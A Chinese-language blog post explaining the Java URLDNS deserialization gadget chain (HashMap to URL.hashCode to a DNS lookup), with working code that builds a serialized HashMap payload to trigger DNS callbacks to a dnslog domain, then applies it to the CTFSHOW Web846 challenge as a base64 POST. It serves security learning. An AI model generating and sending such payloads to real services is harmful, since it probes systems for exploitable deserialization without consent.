基础的理论写在这里了,这篇主要是跟一下URLDNS链
Java | Ethe's blog (ethe448.github.io)
URLDNS链
反序列化分三个部分
入口类、调用链和执行类
接下来将对其依次进行分析
入口类
这里的入口类是HashMap
首先HashMap里重写了readObject
在最后的地方
将对象中的内容一个一个拿了出来然后调用了putVal函数
这个函数具体的可以看这个HashMap中的putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)解读_余韵啊的博客-CSDN博客
简单来说就是判断传入的内容的key的值是不是相等,不相等就加进map里,相等就覆盖
这里对key调用了hash函数,跟进去
又调用了key自身的hashCode函数
这个hashCode是Object自带的,所以HashMap满足我们入口类的三个条件(重写了readObject,参数类型宽泛,jdk自带)
所以接下来考虑有没有可能存在某个特殊的类**M
,其hashCode
**方法中直接或间接可调用危险函数,当M是key时,调用key.hashCode(),就相当于调用了M.hashCode(),从而触发危险函数。
执行类
接下来我们再来看执行类
这里执行类就是URL类
跟进去找URL的hashCode方法
如果hashCode这个参数为-1,也就是初始值时,会调用handler的hashCode方法。
这里看一下handler是个什么东西
是URLStreamHandler类(也是我们传入的handler),也就是说这里调用的是URLStreamHandler.hashCode
跟进去之后有个getHostAddress方法
再往里跟会发现u是通过InetAddress.getByName获取到的ip地址
然后再通过getHost发送一个DNS请求
至此执行类的分析完成
调用链
最后一部分是调用链,其实从入口类和执行类的分析就可以大概的看出调用链
- HashMap -> readObject()
- HashMap -> hash()
- URL -> hashCode()
- URLStreamHandler -> hashCode()
- URLStreamHandler -> getHostAddress()
- InetAddress-> getByName()
初次利用
先在bp上生成一个url接收DNS请求,dnslog也行
根据前边说的,利用就是创建个HashMap然后把key的位置传入URL类
HashMap<Object,Integer> h = new HashMap<>();
h.put(new URL("http://xxxx"),1);
然后我们对其进行序列化,然后再进行反序列化,在反序列化时我们就可以收到一个DNS请求
但是在实验过程中,我们会发现,就算没有进行反序列化,在bp上也同样能检测到有一个发送过来的请求
为什么会这样呢?
其实原因在put方法里
跟进去看一下可以看见
在我们put的时候,就已经触发了hashCode函数,相当于走完了我们的利用链,然后向目标地址发送了dns请求。
但是这并不是我们想要的
因为URL里的hashCode中的这个判断
hashCode的初始值是-1,但是经过put走完我们的链子后,hashCode的值就会被改变,这时如果我们再执行反序列化,由于hashCode的值不再是-1,就不能再调用handler.hashCode的值从而实现向目标url发送dns请求的目的了。
因此,这里在put后,还需要使用反射让hashCode的值重新为-1
再次利用
public class serializTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
Object o = ois.readObject();
return o;
}
}
package URLDNS;
import serializTest.serializTest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException, IllegalAccessException {
HashMap<Object,Integer> h = new HashMap<>();
// 反射获取hashCode的值
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
URL url = new URL("http://cp9s9x.dnslog.cn");
// 防止在put时就发送请求,干扰判断
hashCode.set(url,1);
System.out.println(hashCode.get(url));
// 装入HashMap
h.put(url,1);
// 改回-1使反序列化时进行dns请求
hashCode.set(url,-1);
serializTest.serialize(h);
System.out.println(hashCode.get(url));
Object unserialize = serializTest.unserialize();
System.out.println(unserialize);
}
}
CTFSHOW Web846
为了实现这个目的,我们可以把序列化的内容写到一个输出流里,然后用toByteArray将字节流转换为字节数组,再用base64编码输出
修改后的代码为
HashMap<Object,Integer> h = new HashMap<>();
// 反射获取hashCode的值
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
URL url = new URL("http://c83f8a14-f34c-4106-ae2b-0f835c562ad4.challenge.ctf.show");//网址最后的斜杠要删掉
// 防止在put时就发送请求,干扰判断
hashCode.set(url,1);
//
// System.out.println(hashCode.get(url));
// 装入HashMap
h.put(url,1);
// 改回-1使反序列化时进行dns请求
hashCode.set(url,-1);
// serializTest.serialize(h);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(h);
// System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
byte[] buf = byteArrayOutputStream.toByteArray();
// base64编码
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(buf);
System.out.println(base64);
然后以post方式提交就行了